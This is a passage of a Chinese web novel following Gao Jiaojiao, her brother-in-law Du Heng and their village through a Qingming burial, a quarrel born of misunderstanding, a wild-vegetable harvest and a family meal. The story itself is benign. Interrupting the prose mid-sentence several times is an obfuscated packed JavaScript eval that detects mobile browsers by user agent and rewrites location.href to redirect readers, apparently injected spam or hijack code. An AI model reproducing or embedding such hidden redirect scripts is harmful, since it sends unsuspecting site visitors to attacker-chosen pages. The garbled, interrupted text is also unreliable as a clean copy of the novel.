杜映梅看看高娇娇,又看看杜衡,觉得他们今天都怪怪的,却又说不清哪里怪。 不过她今天心情也不太好,想大哥想爹娘想家乡了。 这个时节,家里篱笆墙外的李子树应该已经开花了,坡上的野桃树也该开花了。 站在院子里望过去,这片白,那片红,风一吹花瓣呼啦啦往下掉,别提多好看了。 可这里的花开得晚,草也绿的晚,到处还是灰蒙蒙一片,看着就让人觉得心里闷闷的,高兴不起来。 吃过一顿沉闷的早饭,听到外面姚春香喊,高娇娇忙带着杜衡几个走了出去。 裹上白布头巾,系上麻绳,高娇娇领着杜衡等人,跟着送葬队伍出发去坟地。 封棺、下葬、立碑...... 全部忙完,已经是下午了。 简单吃了口饭,摘下头巾麻绳,高娇娇又带着一家大小,跟着高长天他们一起去路口祭拜。 石楼村全村老小除了不能走动的刘长昆和张狗子,都去了官道岔口。 将香案摆好,点上香烛,摆上贡品,高长天带着老老少少,跪拜天地神灵,祖宗先人。 三杯酒,一杯敬天,一杯谢地,一杯献祖,随着朱钰一声高喝, “跪——” 全村老少齐齐下跪,俯身叩拜,哭声震天。 “爷奶,爹娘,不肖子孙搬来这里了,以后你们记得来这里拾钱收香火啊......” “儿啊,我的儿啊,你可千万别找错了地方啊,娘要不了几年就能去地下陪你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342612|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .......” “爹娘,大哥,你们放心,我会把侄子侄女当亲生的抚养,延续咱们老杨家的香火.......” 这哭声听得双水村众人心中酸楚,这情形看的藏在远处土坡后面的流民心里打鼓。 等到石楼村众人离开,这伙流民简单商议过后,决定放弃进这个村偷盗的计划,继续顺着官道往前走。 这个村有这么多青壮男人,还能一起行动,可见不好惹。 柿子要挑软的捏,硬骨头他们就不碰了。 折腾了一天,回到家高娇娇往炕上一倒就不想动弹了。 这种事实在是太累人了,比她进山砍一天柴都累。 杜映梅也累的够呛,但她还惦记着牲口,听到大黑饿的直叫,忙打起精神去剁草料。 杜衡也累,身体累,心更累,尤其在看到高娇娇红肿的眼睛,想到她跪在大哥坟前哭的眼泪止不住的样子,更累。 但他还是起身去了灶房,高娇娇嫌在屋里做饭油烟太重,就在收拾院子的时候顺手搭了个草棚做灶房。 杜衡做早饭的时候就想到今天可能会很忙,就多做了些,现在热热就能吃。 吃过晚饭,高娇娇放下碗就准备去挑水。 今天大家都弄得一身脏,晚上肯定要多烧几锅水好好洗洗,更何况杜衡难得回来一回,肯定要痛痛快快洗个澡。 家里她力气最大,挑水的活儿自然应该由她来。 没想到杜衡也站了起来, “嫂嫂,天黑了不安全,我跟你一起去挑水吧。” 高娇娇刚想说不用,杜映梅就跟着嚷道, “嫂嫂,就让二哥跟着给你打个火把吧,高大伯不是说现在外头有坏人,让咱们平日里都多注意着点嘛。” 高娇娇见他俩执意这样,便只得答应了。 高娇娇挑着水桶,杜衡举着火把,两人一前一后朝河边走去。 石楼村这里没有井,以前的村民用水都是直接从河里挑,这让吃惯了井水泉水的众人不太习惯,总觉得水不够干净。 高长天和朱钰几个商量过后,便在河边挖了个蓄水池。 利用河里的砂石做了好几道阻隔,这样层层过滤后流入蓄水池的河水就会变得很干净。 他们又在蓄水池上加盖了一个顶,除了入水取水的口,别的地方都遮挡的严严实实。 这样也不用怕刮风下雨会污染水源,用起来更放心。 走到蓄水池,高娇娇弯腰打水,杜衡伸长胳膊举着火把,让她看的更清楚一些。 挑着水往回走的时候,杜衡终于鼓起勇气跟高娇娇说出了自己的计划, “嫂嫂,我,打算明年下场试试。” 第二百二十章 误会 高娇娇没听清,扭头问道, “下什么场?” 杜衡抿了抿唇,低声道: “明年二月的院试,我打算去考个试试。 若是侥幸得中,有了秀才功名,便再也不用劳烦嫂嫂为**心受累了。 若是不中,不管是继续读书,还是进城找活干,我也能自立一户了,嫂嫂也不必再为我和小妹担心。” 高娇娇听明白了,忍不住放下挑担,冷冷看向杜衡。 这小子翅膀还没硬呢,就想跟她撇清关系了。 行,可真有种。 “你想自立一户,可以,不用等明年,等你满十六岁了,我就让我爹把你从我户头上分出去。 你以后是继续读书,还是干别的,都随你。 但小梅不可能分给你,她一个姑娘家,跟着你不方便。 你要是觉得心里不舒坦,就当我是雇她给**活,我可以按月给她发工钱。 将来等她出嫁,我也会给她准备嫁妆。” 说完,高娇娇就挑起担走了,也不管杜衡有没有跟上。 杜衡从高娇娇开口就知道她误会了,可被她那么冷冷盯着,心里不知怎地就特别难过,解释的话一个字也说不出来。 听完她这番话,更是难过的心如刀绞,忍不住想哭。 原来他对嫂嫂来说真是个累赘,说不要就不要。 哪怕对小妹她都有不舍,唯独对他,竟是一点不舍也没有。 眼见高娇娇走的飞快,就要把他彻底甩开,杜衡忍不住追了上去,哽咽着质问高娇娇, “嫂嫂,我知道我没什么本事,总是拖累你。 可这么久相处下来,你对我,对我就没有一点点在乎? 我在你眼中,真就是个无足轻重的累赘?” 高娇娇本就窝了一肚子火,见杜衡还一副受了天大委屈的模样,顿时忍不住了, “是你先说要自立一户的,怎么我成全你反倒是我的不是了? 我什么时候说你是累赘了?我什么时候嫌弃过你? 明明是你自己翅膀硬了想飞了,还问我在不在乎,你都不在乎,我凭什么要在乎?” 杜衡更觉委屈,他怎么不在乎了,他在乎的都快承受不住了! 最后一点理智也绷不住了,杜衡压在心底的话脱口而出, “你都要成亲了,我和小妹难道还死皮赖脸跟着你? 我不自立一户又能怎么办? 总不能让你再因为我们再被拖累吧?” 高娇娇简直要气死,一个两个三个四个,没完了是吧? 她都说了她不想成亲,不想,怎么就没人听呢? 咬着后槽牙,高娇娇恶狠狠瞪着杜衡,一字一句道, “你竖起耳朵给我听清楚了,我最后再说一遍,我不想成亲,不管是嫁人还是招婿都不想。 我就愿意一个人,我就乐意一个人,谁敢再跟我提成亲,我弄死谁!” 杜衡看着几乎要把鼻尖抵到他脸上,浑身直冒杀气的高娇娇,难受了一天一夜的心,忽地舒服了。 高娇娇说完还觉得不解气,忍不住踹了旁边石墙一脚。 砰! 轰隆! 杜衡眼睁睁看着墙塌了个洞,脸盆大小,还有碎石不断落下。 高娇娇气呼呼走了,杜衡看着破洞本应该发愁的,却莫名笑了起来。 愉快的心情实在抑制不住,杜衡忍不住跑去跟张狗子分享, “嫂嫂说她不成亲,她就乐意一个人! 她还说谁再敢跟她提成亲,她弄死谁。” 张狗子觉得杜衡脸上的笑十分碍眼,张嘴就忍不住给他泼凉水, “哪有人能一辈子不成亲? 她只是现在不想,又不表示以后也不想。 再说你也好意思让她给你大哥守一辈子活寡,到老了还是一个人孤苦伶仃?” 杜衡的笑容僵在了脸上,他咬了咬唇,有些执拗道, “我没想让她替我哥守寡,等将来她想成亲了,我自然会替她找个好的。” 说完,又觉得不够,强调道, “最好的!” 张狗子扯了扯嘴角,冷哼道, “女子的大好年华就这几年,等过了二十,只能找带孩子的老鳏夫了。 即便你中了秀才,难道还能强逼着大好男儿做她的赘婿不成?” 杜衡心里一塞,梗着脖子倔强道, “我从没这么想过,我会帮嫂嫂留意的,若真有那人品性情都出色的,我自会想办法替她撮合。” 张狗子觉得杜衡这副自欺欺人的样子十分好笑,撇过头淡淡道, “你最好说到做到,别当那人面兽心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342613|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无耻之徒就行。” 杜衡气得不行,他说的字字句句都是肺腑之言,他比任何人都盼着嫂嫂好,他恨不得把世上最好的一切都给嫂嫂。 可等回到家,进了屋,看到正在洗头发的高娇娇,杜衡心里坚定的高墙忽然就有些晃荡了。 杜映梅举着水瓢,正在帮高娇娇冲洗头发上的皂角沫沫,见杜衡进来,也只是抬眼看了下,就收回了视线。 高娇娇一边洗着头发一边在心里暗暗记下,下次进城一定要记得买香胰子,皂角洗头真是太不方便了。 尤其是干皂角,不光要提前浸泡还要捣成泥,冲洗的时候怎么都冲不干净头发里缠着的皂角皮。 可在杜衡眼中,只穿着窄袖小袄,露出修长白皙后颈的高娇娇,是多看一眼就能让他觉得亵渎的娇美。 但他却无耻的移不开视线,然后更加无耻的热血上涌脸皮发烫耳根泛红。 杜映梅放下水瓢,拿起布巾递给高娇娇,无意中看到脸色通红的杜衡吓了一跳,忙关切问道, “二哥你怎么脸这么红?是不是生病了?” 杜衡也被杜映梅突然这一问吓的不停眨眼睛,见高娇娇抬头朝自己看过来,急忙转身往外走,含糊不清解释了句, “我没事,就是,就是屋里太热了,我去再烧点水。” 杜映梅见杜衡走的飞快,好像被狗追似的,不由直挠头, “屋里很热吗?还好吧,我也没觉得有多热啊。 二哥这是怎么了?今天一天都怪怪的。” 高娇娇擦着头发没好气道, “他啊,长大了,心事自然就多了呗。” 杜映梅眼睛瞪老大,跟见了鬼一样压低声音道, “不会吧,二哥看着不像是想娶媳妇的样子啊?” 高娇娇无语地看着杜映梅,她哪句话表露出这个意思来了? 杜映梅却已经控制不住想远了,拽着高娇娇眼巴巴道, “嫂嫂,你可不能不管我,我是一定要跟着你的,就算二哥娶了媳妇,你也不能把我赶走。 人家都说男的娶了媳妇忘了娘,更何况我这个妹妹了,你要是不管我,我将来指定要被二嫂欺负死。” 说着,还呜呜假哭了起来,弄的高娇娇哭笑不得。 这都什么跟什么啊,杜衡那小子才屁大点,娶个毛线的媳妇啊。 第二百二十一章 挖野菜 这一晚,被高娇娇当成小孩的杜衡,却梦到了不该梦到的场景。 一夜旖旎梦境,说不清是春色太撩人,还是春心太萌动,杜衡体会到了难以言喻的快活,也感受到了无法言喻的羞耻。 梦醒之后,触碰到身下的冰凉,他想杀了自己的心都有了。 他居然敢,怎么会,天啊,那可是他嫂嫂啊! 听到杜映梅吆喝牲口的声音,杜衡赶忙把弄脏的亵裤团起来塞到挎包里,怕被人看见,他打算回了小院再洗。 吃早饭的时候,高娇娇见杜衡一直低着头,恨不得把头埋进碗里,不安又惭愧的可怜样子,忍不住想叹气。 算了,跟个孩子计较什么,他想自立就让他自立吧。 吃过饭,高娇娇把杜衡叫到自己屋里。 杜衡本就心虚羞愧,被高娇娇叫过来,更是连炕都不敢坐,垂着头心惊胆战站在炕边,生怕被她看出些什么来。 高娇娇见杜衡一副犯了大错接受审判的样子,忍不住反思自己是不是昨晚太凶了,那一脚是不是踹的太过用力。 抿了抿唇,高娇娇放缓语气,尽量心平气和对杜衡说道, “你是你家唯一的儿子,想自立门户,为你家光耀门楣无可厚非。 我昨晚主要是心情不好,本来我爹娘他们说个没完就够烦了,你又突然弄这一出,我就没忍住。 既然你想好了,那我就——” “嫂嫂,我错了,是我误会了。” 杜衡急忙打断,飞快解释道, “是我误会你要成亲了,怕我和小妹会拖累你,才想着早点分出去。 并不是想要跟你分开,我,我不想跟你分开,咱们以后还是跟以前一样,好不好?” 高娇娇愣住,这是怎么个意思? 敢情是她误会了? 杜衡见高娇娇没发火,暗暗松了口气,赶忙又道, “我以后保证不提成亲的事了,我会好好读书,明年争取考中秀才。 以后就算,就算嫂嫂不想成亲,我也会一直照顾嫂嫂,不会让嫂嫂无依无靠的。” 高娇娇见杜衡红着脸,跟赌咒发誓一般郑重,不由好笑, “你这话说的,好像要给我养老送终一样。” 杜衡愣了下,点头道, “只要嫂嫂不嫌弃,我愿意给嫂嫂养老送终。” 高娇娇哭笑不得,连忙摆手道, “别别别,不至于,我才比你大一岁,咱俩说不好谁给谁送终呢。” 杜衡怔了下,也笑了起来, “嫂嫂肯定会长命百岁,比我活的久的。” “那是,谁让我命硬呢。” 高娇娇抬了抬下巴,傲娇玩笑道。 杜衡见她这样,笑容不由又加深了几分。 高娇娇也笑,两人之间的气氛好似又回到了从前。 高娇娇拍了拍装钱的匣子,跟杜衡确认, “你可想好了? 你要是不打算自立一户,家产我就先不跟你分了。” 杜衡用力点头, “想好了,只要嫂嫂不嫌弃,我就一直跟着嫂嫂了。 即便有一日要分开,这些也是嫂嫂的,我一文都不要。” 说着,还从怀里掏出一个钱袋递给高娇娇, “嫂嫂,这是我在书院帮同窗抄书赚来的三百文,你可别嫌少。” 高娇娇皱眉,有些生气, “不是跟你说了家里有钱,你只管安心读书就是,干嘛又抄书赚钱去了?” 杜衡忙解释, “并不是专门为了赚钱,也是想通过抄书让自己记得更牢一点,顺便赚点笔墨费。” 想了下,又不好意思小声补充道, “现在抄的不是那种书了,都是正经科考要用到的书,还有一些名家手书,我的字写的不够好,需得多练。” 高娇娇见他心里有数,这才放下心来,接过钱袋,放进匣子里。 杜衡看着匣子里多了几个银锭,知道那是高娇娇剿匪的赏银,想到她一个人杀了五个土匪,又受了伤,自己却什么忙也帮不上,不由心情沉重。 高娇娇放好钱,见杜衡脸色又变得凝重起来,不由有些头疼。 孩子大了真不好管,连脾气都变得古怪了起来。 哪儿像以前,温顺又听话,开口就带笑,看着就很乖。 幸好她只是嫂嫂,不是亲娘,只要睁只眼闭只眼,看见了全当没看见,就可以不用管。 于是,高娇娇便开开心心带着杜映梅,跟着姚春香她们去后山上挖野菜去了。 春暖花开,草长莺飞,正是挖野菜的好时候。 姚春香她们每天忙完地里的活儿就会来挖野菜,现在地里的菜刚种下,过冬存的萝卜白菜也吃完了,正是青黄不接的时候。 家里吃什么菜,全看今天能挖到什么。 荠菜已经老了,蒲公英还能吃,但最好吃的还是白蒿,清明节前后这种野菜最鲜嫩。 采回去不管是蒸蒸菜还是包包子包饺子,味道都好的很。 白蒿不好找,并不是长的少,而是颜色发白还贴着地,很容易被当成干草枯叶。 高娇娇盯的眼睛都有些发酸了,也只挖到了一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342614|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连篮子底都没铺满,便有些不耐烦了。 还是去高春花系统提示的位置看看吧,挖白蒿太费劲了。 高春花现在只顾着围着张狗子转,幸运值只要不超过二十,根本不去找。 高娇娇受不了恋爱脑,更受不了浪费,今天来的这个山坡,离目标位置不太远,哪怕幸运值只有十三,她觉得也比继续跟着挖白蒿强。 杜映梅不管高娇娇去哪儿干啥都要跟着,于是姑嫂两人就渐渐离开了队伍,往一处下坡处走去。 走了好一会儿,眼看就要走到山沟里去了,杜映梅见周围空无一人,只有光秃秃的大树张牙舞爪指向高空,不由有点害怕。 “嫂嫂,咱们要去哪儿啊?再往前走会不会不安全?” 高娇娇见她害怕忙拉住她的手,让她紧跟在自己身后。 两人又往里走了一会儿,高娇娇停住了,她有点不敢相信自己的眼睛。 杜映梅惊呼出声, “天啊,怎么有这么多地皮菜? 发财了,发财了,嫂嫂咱们今儿真是来着了!” 高娇娇看着眼前一大片地皮菜,忍不住怀疑她是不是找错地方了。 才十三的幸运值,这未免也太多了吧? 杜映梅才不管这些,已经迫不及待挖了起来,一边挖一边嚷嚷, “这些地皮菜长的可真好,这要是全挖了不得装一大筐啊,咱们带来的篮子是不是太小了........” 高娇娇见她手上不停,没一会儿就挖了小半篮子,赶紧喊停, “小梅,你先别挖了,去喊人,这么多,咱俩肯定挖不完,喊我娘她们过来一起挖。” 杜映梅一拍脑袋,哈哈笑着道, “我怎么忘了大娘她们也在呢,这下可好了,不愁装不下了。” 说着,就转身跑回去喊人。 姚春香她们过来看到这么多地皮菜也是大吃一惊,李二娘高兴的合不拢嘴,连声嚷嚷, “这个好,这个菜能放,晒干了放一年也坏不了,有这个就不怕没菜吃了。” 众人都很高兴,姚春香知道闺女不耐烦做这些细碎活儿,见她挖着挖着就慢了下来,干脆冲她道, “不想挖了就去旁边玩,等会儿娘挖完了分你点。” 高娇娇听到这话嘻嘻一笑,扭头就去旁边扒拉去了。 她觉得这里能长出这么地皮菜肯定有水源,保不齐还是个泉眼什么的。 一通扒拉还真让她扒拉出东西来了,原来下方沟底的枯枝烂叶里有溪水流过,只是溪水特别小,流速也非常慢,所以她才没听到水声。 第二百二十二章 吃顿好的 不过这个发现也够让高娇娇开心的了,这里离村里大概六七里了,现在天还不热,大家出来砍柴挖野菜也不怎么渴。 等到夏天,再跑这么远肯定渴,只要溪水干净,他们来这边喝水歇脚也能方便一些。 想到此,高娇娇就把枯枝烂叶都清理了,又在旁边一棵大树上做了个标记,省的自己下次过来找不到地方。 眼看快到中午了,姚春香把自己挖到的地皮菜都给了高娇娇,催促她赶紧回去。 吃过午饭杜衡就要回书院了,趁着这会儿曹寡妇正在做饭,赶紧把地皮菜带回去,让她炒个地皮菜鸡蛋给杜衡吃个鲜。 高娇娇看着满满一篮子地皮菜,心念一动,跟姚春香商量, “娘,要不我下午送杜衡回书院吧,正好把这些地皮菜拿去城里卖了。 这么多咱们也吃不完,说不定城里人稀罕,能卖个好价钱。” 姚春香摆手, “开了春野菜多,地皮菜没冬天的时候值钱,大老远的,你别费那个劲了。 不如多炒一点给小衡带上,让他送给同窗们尝尝鲜。 这一阵官道上不安全,你一个姑娘家就别出门了,看看你二哥三哥谁有空,让他们送小衡回书院。” 高娇娇这才明白为啥只有十三的幸运值会有这么多地皮菜,原来现在地皮菜不值钱了。 不过她现在也不缺这点小钱,地皮菜炒鸡蛋最好吃了,让曹嫂子多做一点,大家吃个够。 高娇娇家灶房,曹寡妇看着跟她抢活干的杜衡,心里慌的很。 她的活本来就不多,这个据说读书很好的后生还要跟她抢,又是蒸馒头又是烙饼子,还要挑水劈柴擦窗户,弄的她们娘俩都不知道该干啥了。 朱钰过来见杜衡系着围裙挽着袖子忙个不停,不由没好气道: “哪儿用得着你干这些,大好光阴不用来读书,反倒守着灶台,真是不知所谓。” 杜衡讪讪放下手中抹布,他也知道现在家里请了人干活,这些家务事他不干也行。 可他整日不在家,回来再不做点啥,总觉得心里不得劲。 朱钰过来是有件事要提点杜衡, “你们书院天字班的郑子安,老家在豫州博阳县,离荣阳县不远。 他出身清贫,年幼时被父亲带着来到岚县,靠替书局抄书练出一笔绝佳馆阁体。 馆阁体崇尚法度谨严,丝丝入扣,没有十几年乃至数十年的临池不辍,要写出象样的馆阁体,那是不可能的。 郑子安不过才二十出头,就能写出一手人人称颂的好字,可见其刻苦勤勉。 此人品行端方,为人清冷孤傲,你若是想要同他结交,不妨从临摹他的手抄书入手。 你们书院里就有他亲手抄写的四书五经,你留心打听一下,应该很容易就能寻到。” 杜衡忍不住好奇, “朱叔你怎么对我们书院的事这么了解? 我在书院听人说郑师兄从不轻易与人往来,每日除了去天字班上课,就在自己的号舍里闭门苦读。 除了入学那日,我在食堂都没见过郑师兄呢。” 朱钰不耐烦道, “休要多问,你若能同郑子安结交,得他指点一二,明年院试应该不在话下。 再往上,就得看你个人运道了,不是单靠才学就能得到。” 杜衡点头受教,越了解科考就越能感觉得到,功名之路不光要看才学,还要看运气,运气不好,便是再努力也是无用。 世上才子千千万,能金榜题名者却寥寥无几,多的是怀才不遇,屡考不中的人。 可他也别无他法,除了拼尽全力。 说完这些朱钰就要走,杜衡想再请教一下时文策论的写法。 近日书院众人都在议论朝廷平叛的事,说明年策论很可能会考与这个有关的题。 他对这些了解不多,加上性子过于谨慎,对这种密切与时政相关的策论书写,实在没底的很。 还有就是,他想问问朱叔真的就不再接着往上考了,好不容易才考中秀才,就这么放弃,会不会太可惜了? 朱钰却好像看透了杜衡的想法,根本不给他开口的机会,直接就道, “我让你去结交郑子安,就是因为我指点不了你了。 科考一途我已放弃,你以后自己努力吧。” 杜衡只得作罢,哪知朱钰刚走出院门就碰到了高娇娇,高娇娇一见他就笑着嚷道, “朱叔,看我挖到了啥好东西,今儿中午在我家吃饭呗,我让曹嫂子做个地皮菜炒鸡蛋,再焖一锅米饭。” 朱钰不由停下脚步,喉结微微滚动, “纯大米饭,不放杂粮的那种?” “不放,一点杂粮都不放,咱今儿吃顿好的。” 高娇娇刚得了五十两银子,阔气的很。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342615|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是,朱钰就又回来了。 杜衡看着去而复返,跟高娇娇一起去灶房扒拉咸肉野菜,叽叽咕咕说个不停的朱钰,有点傻眼。 他怎么觉得跟嫂嫂在一起的朱叔,跟同他说话的朱叔不像是一个人呢? 在朱钰的指挥下,曹寡妇焖了米饭,炒了一个咸肉炖干豆角、地皮菜鸡蛋,又做了白蒿蒸菜和凉拌蒲公英。 那油盐酱醋糖用的,把曹寡妇心疼够呛,忍不住小声跟儿子田木生嘟囔, “放这么多油和调料,别说拌野菜,就算是拌鞋垫子也香啊。” 田木生好笑地扯了下曹寡妇的衣袖,压低声音道, “娘,娇娇姑姑都不心疼,你就别心疼了,娇娇姑姑都说了,天大地大吃饭最大。 你以后做饭也别那么抠搜了,娇娇姑姑在吃上舍得着呢。” 曹寡妇一想也是,他们是来干活的,主家让干啥他们就干啥,操那么多闲心干嘛。 反正娇娇是个能干的,一个人就能打倒五个土匪,转眼就能赚到五十两银子,有这样的主家,她还担心个啥。 难得吃大米饭,高娇娇把高长天和姚春香也叫了过来。 高长天带了一小坛酒,姚春香炸了一盘花生米,还做了一盆浆水粉条菜端了过来。 高二壮也拿来了没吃完的烤野兔,和高二宝他们几个自己烤的有点焦黑的鱼。 大人一桌,小孩一桌,众人吃吃喝喝说说笑笑,很是高兴。 高娇娇觉得这个浆水粉条菜特别爽口,酸溜溜还带着点麻麻辣辣,十分开胃。 姚春香见她吃的香,笑着道, “这是你李二婶子前些时候用荠菜做的浆水,给了我一坛子,你要是爱吃,我给你舀点。 天热的时候,用这个做浆水面、浆水鱼鱼、浆水米旗子饭都好吃。 可惜咱们这儿没做豆腐的,你爹最爱吃浆水豆腐了,尤其是二牛他爹做的老豆腐。” 听姚春香说起老家的人,高长天不由有些难过,他昨晚跟亲家喝了两盅,说了好一会儿话。 亲家没遇上过柳树沟的人,但是一路打听着找过来的时候,听人提起过。 说是有一伙从荣阳出来跑去京城的难民,在潞安府那块遇到暴民还是土匪了,**好多人,只逃出去几个。 这话跟之前金宝说过的话对上了,看来王二牛他们跟着杜家福走的那群人,是真的**。 第二百二十三章 不如让人怕 高长天想起那帮老兄弟,不免感伤,给自己倒了一杯酒,仰头一口喝下。 朱钰见大哥这样,忙摁住了他还想倒酒的手。 杜衡赶紧打趣缓和气氛, “大伯,就这一坛子酒,您别全自己喝了,也让我尝尝呗。” 说着,就把酒坛子拿了过来,给自己和朱钰还有姚春香都满上。 高娇娇见状也想尝尝,被姚春香一记眼刀给制止了。 高娇娇瘪了瘪嘴,冲高长天道, “爹,不就是个豆腐嘛,你想吃还不好办,明儿我就给你做!” 高长天被她逗笑了, “你哪儿会做豆腐啊?那玩意儿可不像你想的那么简单。” 高娇娇不服气,立刻道, “不信你就等着瞧,我保准能做出来,吃了饭我就泡豆子。” 众人见她信心十足的样子,不由很是好奇。 高娇娇昂首挺胸,一点不怂。 她是真的会,特殊时期被困在家里缺吃少喝的时候,她可学了不少生存技能呢。 什么水培菜,做豆腐,蒸馒头,流程她都熟,至于成果嘛,那就不是很稳定了。 毕竟她在厨艺上的天赋实在平平无奇,但有一点她是绝对能保证,那就是能吃没毒。 被高娇娇这么一打岔,高长天不再伤感故人已逝,饭桌上又重新热闹了起来。 吃饱喝足就该上路了,杜衡看着硬被塞到手里的大包袱,强压下心中的不舍和感动,坐上了高二壮已经套好的驴车。 高娇娇喊住喝的微醺,准备回家睡会儿的高长天, “爹,我有个事想跟你商量商量。” 朱钰看了高娇娇一眼,高娇娇冲他微微点了下头,朱钰便知道她是要说剿匪的事了,随便找了个由头先走一步。 他可以在所有人面前当坏人,唯独在大哥跟前,他希望自己可以做一个好人。 所以有的事,他更愿意借别人的口。 高长天还以为闺女是要跟他说做豆腐的事,他自己的闺女自己心里有数,别说做豆腐,她连蒸馒头都不会。 指定是在人前打了个包票,这会儿心里没底了,找他帮忙来了。 他跟二牛他爹关系好,虽没亲手做过豆腐,但大概怎么做还是知道的。 高长天都已经在努力回想做豆腐的步骤了,却听到高娇娇冲他道, “爹,你有没有想过让巡逻队扩大一下巡逻范围?” “啥?” 高长天脑子没跟上,一下子转不过来。 高娇娇说出早就想好的说辞, “爹,我知道你不喜欢出风头,总觉得咱们是外来户,最好闷头发财才能保平安。 可这世道,不是咱不惹事,事就不会找上来。 昨天清明祭拜搞那么大动静,你想想会惊动多少人? 眼下地主家都没余粮,咱们手里可是有钱有粮,你猜会不会有人眼馋? 反正我觉得,与其让人欺,不如让人怕,只要咱们足够强,谁也拿咱们没办法。” 高长天愣愣看着高娇娇,闺女自从开了窍,真是不得了。 这句话说的真是好,与其让人欺,不如让人怕! 他硬气了一辈子,怎么到了这里反倒不如闺女有胆气了。 昨儿搞出来的动静确实有点大,闺女的顾虑也有道理,但是巡逻都是各村自己组织的,他们村贸然扩大范围,是不是有侵占别的村地盘的嫌疑? 万一惹得人家村里的人不高兴,闹到衙门去,他们可不占理。 高娇娇见高长天犹豫,便提议道, “要不,你去跟王里正商量商量? 别的村不好说,我看他们村肯定是愿意的。” 高长天点了点头,确实得商量一下,这不是小事,不过在此之前,他得把巡逻队的人叫过来叮嘱一下。 高三壮正在自己炕上打盹呢,被高长天喊起来时还有点迷糊。 高长天吩咐他道, “三壮,你跟罗子他们说一声,以后晚上巡逻的时候都把家伙事儿带着,弓箭啥的也背上。” 高三壮噌的一下坐起身子,脸色都变了, “爹,咋了?出啥事了?” “没事,就是以防万一,咱们昨儿祭拜闹的动静有点大,我怕那些难民啥的会眼红,一上头真干出点啥。” 高长天想了想,又吩咐道, “晚上巡逻不要安排那些毛头小子们上,他们经历的事少,做事不够仔细,万一有啥动静,反应不过来。” 高三壮忙点头,起身下炕穿上鞋就去通知罗子他们,又专门跑去跟高金宝说了声。 高金宝跟着高家众人来了石楼村后,死活不肯住在高家,说他已经大了,能照顾好自己,不想再拖累大爷爷一家。 姚春香也不想再养出来个白眼狼,这孩子虽说现在看着改好了,可他到底是高强的儿子,谁知道将来长大了会不会跟他爹一样。 他既然想要自己过,姚春香也不拦着,反正以后还在一个村里住着,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342616|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真有什么难处他们也不会不管他。 高长天不想让高金宝一个人过,二房就剩下这么一个孩子了,他要是再不管,心里实在是过不去。 可见高金宝坚持,家里的孩子跟高金宝相处起来也别扭,媳妇也不是很想管,便只得点头应下。 于是到了石楼村后,高金宝便跟石小山他们那些光棍汉一样,自己选了个窑洞住下。 每日除了忙活分给他的田地,也会时不时跑去高家地里帮着干些杂活儿。 高二壮和高三壮有空了就会带着他,教他打拳射箭,种地打猎。 有时候晚上巡逻也会叫上他,想让他多学点本事,别养成跟高强一样好吃懒做的性子。 现在晚上不让半大小子跟着巡逻了,高三壮就顺路也跟他说了声,省的这个心思重的小子又乱想。 高金宝一听不让跟着有点沮丧,他这两天正跟三叔他们学套兔子呢,刚有点能上手就不让去了,他还想着学会了也跟二宝一样去后山下几个套,说不定能套到兔子。 高三壮见孩子垂头耷脑,笑着拍了拍他肩膀道, “你要是闲的没事,就去找二宝,你小姑从城里买了渔网,二宝他们天天去河里捞鱼,昨儿还捞了好几条呢。” 高金宝一听这话眼睛不由亮了,可想到高二宝他们都不喜欢跟他玩,又不由低下了头。 高三壮看出他的迟疑,鼓励道, 